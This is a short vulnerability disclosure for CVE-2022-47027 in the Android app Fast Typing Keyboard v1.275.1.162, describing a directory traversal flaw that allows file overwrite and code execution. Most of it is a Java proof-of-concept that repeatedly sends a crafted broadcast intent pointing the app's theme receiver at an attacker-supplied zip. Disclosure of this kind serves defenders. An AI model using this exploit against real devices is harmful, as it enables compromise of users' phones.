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Code execution exists in Fast Typing Keyboard(CVE-2022-47027)

Vendor:T-ME Studios (https://corporate.timmystudios.com/)

Affected product:Fast Typing Keyboard (com.jb.gokeyboard.theme.timssfasttypingkeyboard)

Version:1.275.1.162

Download link:https://apkpure.com/cn/fast-typing-keyboard/com.jb.gokeyboard.theme.timssfasttypingkeyboard/versions

Description of the vulnerability for use in the CVE: Fast Typing Keyboard v1.275.1.162 allows unauthorized apps to overwrite arbitrary files in its internal storage via a dictionary traversal vulnerability and achieve arbitrary code execution.

poc:

private void attack() {
    while (true) {
        Intent intent = new Intent();
        ComponentName componentName = new ComponentName("com.jb.gokeyboard.theme.timssfasttypingkeyboard", "com.timmystudios.redrawkeyboard.themes.SuperThemeReceiver");
        intent.setComponent(componentName);
        intent.setAction("com.timmystudios.redrawkeyboard.intent.action.THEME_APPLIED");
        intent.putExtra("package-name","com.ludashi.xsuperclean");
        intent.putExtra("selected-font",true);
        intent.putExtra("font_name","hack");
        intent.putExtra("font_id","2");
        intent.putExtra("font_resource","hackkkk");
        intent.putExtra("font_size",123456);
        intent.putExtra("selected-sound",true);
        intent.putExtra("sound_name","hack");
        intent.putExtra("sound_id","2");
        intent.putExtra("sound_resource","hackkkk");
        intent.putExtra("sound_size",123456);
        intent.putExtra("go_theme_id",3);
        intent.putExtra("go_res_zip_path","/data/local/tmp/test.zip");
        try {
            System.out.println("发送数据");
            sendBroadcast(intent);
        } catch (Exception e) {

        }
    }
}